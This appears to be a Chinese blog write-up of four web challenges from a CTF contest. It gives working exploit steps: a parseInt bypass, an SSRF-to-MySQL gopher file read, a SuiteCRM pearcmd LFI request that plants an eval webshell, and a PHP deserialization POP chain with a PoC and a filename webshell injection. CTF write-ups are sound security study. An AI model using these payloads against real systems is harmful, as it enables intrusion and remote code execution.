DASCTF X GFCTF 2024|四月开启第一局-web复现

因为当时在看渗透准备红明谷线下,所以这个比赛学长打的时候就没细看。

虽然hmg打的也是一坨狗屎,内网除了上了代理我也干不了啥玩意。

现在从福建回来了,就看看当时的题。

cool_index

web签到题,有附件,审一下源码:

register.ejs:

没啥东西,暂时看不出来。

home.ejs:

也没啥东西,这个权限也没看出来要干啥。

发现关键源码server.js:

import express from "express";
import jwt from "jsonwebtoken";
import cookieParser from "cookie-parser";
import crypto from "crypto";
const FLAG = process.env.DASFLAG || "DASCTF{fake_flag}";
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.static("static"));
app.set("view engine", "ejs");

const JWT_SECRET = crypto.randomBytes(64).toString("hex");

const articles = [
    {
        line1: "我还是在这里 我还是",
        line2: "如约而至地出现了"
    },
    {
        line1: "你们有成为更好的自己吗",
        line2: "真的吗 那可太好了"
    },
    {
        line1: "你知道吗 我经常说",
        line2: "把更多的时间花在 CTF 上(?)"
    },
    {
        line1: "这是一种信念感",
        line2: "就像我出来那给你们"
    },
    {
        line1: "我也希望你们能把更多时间花在热爱的事情上",
        line2: "我是一个特别固执的人"
    },
    {
        line1: "我从来不会在意别人跟我说什么",
        line2: "让我去做以及怎么做 我不管"
    },
    {
        line1: "如果 你也可以像我一样",
        line2: "那我觉得 这件事情"
    },
    {
        line1: "欢迎参加 DASCTF x GFCTF 2024!",
        line2: FLAG,
    },
];

app.get("/", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            res.render("home", {
                username: decoded.username,
                subscription: decoded.subscription,
                articles: articles,
            });
        } catch (error) {
            res.clearCookie("token");
            res.redirect("/register");
        }
    } else {
        res.redirect("/register");
    }
});

app.get("/register", (req, res) => {
    res.render("register");
});

app.post("/register", (req, res) => {
    const { username, voucher } = req.body;
    if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
        const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
        if (voucher && subscription === "guest") {
            return res.status(400).json({ message: "邀请码无效" });
        }
        const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
            expiresIn: "1d",
        });
        res.cookie("token", userToken, { httpOnly: true });
        return res.json({ message: "注册成功", subscription });
    }

    return res.status(400).json({ message: "用户名或邀请码无效" });
});

app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index < 0) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }
            if (decoded.subscription !== "premium" && index >= 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});

app.listen(3000, () => {
    console.log("3000");
});

尤其这段:

这里的意思是:

1、从请求的 cookies 中获取 token。
2、如果 token 存在,它会尝试使用 JWT_SECRET 对其进行解码。
3、解码成功后,它会获取请求体中的 index。
4、如果 index 小于 0,它会返回一个 400 状态码和一个错误消息。
5、如果解码的 token 表明用户的订阅级别不是 "premium",并且 index 大于或等于 7,它会返回一个 403 状态码和一个错误消息,提示用户订阅高级会员以解锁。
6、然后,它会将 index 转换为整数。如果 index 不是一个数字,或者 index 大于文章的数量,它会返回一个 400 状态码和一个错误消息。
7、如果所有的检查都通过,它会返回请求的文章。
8、如果在任何时候捕获到错误(例如,token 无法解码),它会清除 token cookie,并返回一个 403 状态码和一个错误消息,提示用户重新登录。
9、如果 token 不存在,它会返回一个 403 状态码和一个错误消息,提示用户未登录。

而这里的jwt解不了密,我们翻不到加密算法信息。

就让我事后诸葛亮一下吧,这里的漏洞点是parseInt,控制台测一下:

所以index这里就绕开了。

注册个号直接打:

 或者这样:

DASCTF{d8f522b7-76c9-41c5-9ec9-022dd4bcba7d}

 

EasySignin

随便注册个号。

修改密码处可以改admin:

admin登录进去试试:

看图片这里一眼SSRF:

但是读不了文件,一直回显nonono:

 

用http测出3306端口,解码内容发现mysql,先猜测后台没开secure可以任意文件读取,事实的确如此,gopher打select load_file一把梭了:

记得二次编码:

DASCTF{43020745-656c-4107-8ad0-cc09d7905564}

 

SuiteCRM

犹记得队里赵哥一开始没打出来还挺难绷,原来就只是个是pearcmd.....

都说了不用RCE,还有网上现成CVE复现:

Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks

 

81端口写🐎:

GET /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php HTTP/1.1
Host: ce6c917e-ea10-49e7-88b1-ed29c43a931b.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: XSRF-TOKEN=rR_KDoX2KUXMh32yNAzTRSqZzmImwsEMZ__I4cee4N4; LEGACYSESSID=4b8c2384c6cb3f39893795edd477ef39; PHPSESSID=38d5d63deb4772f6e3c4a178bf2d7f4c; ck_login_id_20=8a4b0568-268c-9812-73b3-65e88ae3bac3; ck_login_language_20=zh_CN; sugar_user_theme=suite8
Upgrade-Insecure-Requests: 1

 

这里编码有问题,yakit其实没打进去,他自动给我url编码了。

换bp:

 

再POST发包交了:

/index.php//tmp/shell.php
 
cmd=system('cat /flag');

DASCTF{ea911177-2ee1-4c83-967a-0455d0b9a878}

web1234

www.zip源码泄露,又臭又长....

class.php处找到反序列化点:

backdoor参数可控,能直接执行函数。

phpinfo查一手,啥也没有:

再去审一下源码,反序列化很明显,也没套娃:

<?php

class Admin{

    public $Config;

    public function __construct($Config){
        //安全获取基本信息,返回修改配置的表单
        $Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
        $Config->sex = (is_string($Config->sex) ? $Config->sex : "");
        $Config->mail = (is_string($Config->mail) ? $Config->mail : "");
        $Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
        $this->Config = $Config;

        echo '    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="avatar" >
        <input type="text" name="nickname" placeholder="nickname"/>
        <input type="text" name="sex" placeholder="sex"/>
        <input type="text" name="mail" placeholder="mail"/>
        <input type="text" name="telnum" placeholder="telnum"/>
        <input type="submit" name="m" value="edit"/>
    </form>';
    }

    public function editconf($avatar, $nickname, $sex, $mail, $telnum){
        //编辑表单内容
        $Config = $this->Config;

        $Config->avatar = $this->upload($avatar);
        $Config->nickname = $nickname;
        $Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
        $Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
        $Config->telnum = substr($telnum, 0, 11);
        $this->Config = $Config;

        file_put_contents("/tmp/Config", serialize($Config));

        if(filesize("record.php") > 0){
            [new Log($Config),"log"]();
        }
    }

    public function resetconf(){
        //返回出厂设置
        file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
    }

    public function upload($avatar){
        $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
        file_put_contents($path,$avatar['fdata']);
        return $path;
    }

    public function __wakeup(){
        $this->Config = ":(";
    }

    public function __destruct(){
        echo $this->Config->showconf();
    }
}



class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }

    public function __wakeup(){
        if(is_string($_GET['backdoor'])){
            $func = $_GET['backdoor'];
            $func();//:)
        }
    }

}



class Log{

    public $data;

    public function __construct($Config){
        $this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
    }

    public function __toString(){
        if($this->data === "log_start()"){
            file_put_contents("record.php","<?php\nerror_reporting(0);\n");
        }
        return ":O";
    }

    public function log(){
        file_put_contents('record.php', $this->data, FILE_APPEND);
    }
}

pop链:

Admin#__Destruct()
=> Config#showconf()
=> Log#__toString()

据说可以打条件竞争,在上传和file_put_contents的时间差中传个🐎上去,但buu的靶场有爆破限制好像,所以多线程容易寄。

还有个提示session_start,这个也可以打,但是触发点并不是在反序列化,而在序列化_sleep函数:

Config#__sleep()
=> Config#showconf()
=> Log#__toString()

借用一手【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf 2024 四月 wp-CSDN博客的思路:

当session_start启动了以后,就会去找sess_XXX里的内容反序列化。

反序列化后得到$Session对象,比如下面的eddie|O:6:"Config":...就是对应的$_SESSION['eddie'],

然后在程序执行结束要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

 

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性。

poc:

<?php
class Admin
{
 public $Config;
}

class Config
{
 public $uname;
 public $passwd;
 public $avatar;
 public $nickname;
 public $sex;
 public $mail;
 public $telnum;
}

class Log
{
 public $data;
}

$c=new Config();
$l=new Log();
$l->data="log_start()";
$c->avatar=$l;
echo serialize($c);

//O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

sess_EddieMurphy文件内容:

eddie|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

在⽂件名处写马,⽂件名为

1';eval($_POST[1]);#

注意删去Cookie,防止再次写入 <?php error_reporting(0);

record.php下RCE交了:

DASCTF{866071bf-f619-4ed8-88a9-b0e57d3bc4fb} 

 

 

总体来看,不算难,但还是要多想想。

 

posted @ 2024-04-25 19:08  Eddie_Murphy  阅读(216)  评论(0编辑  收藏  举报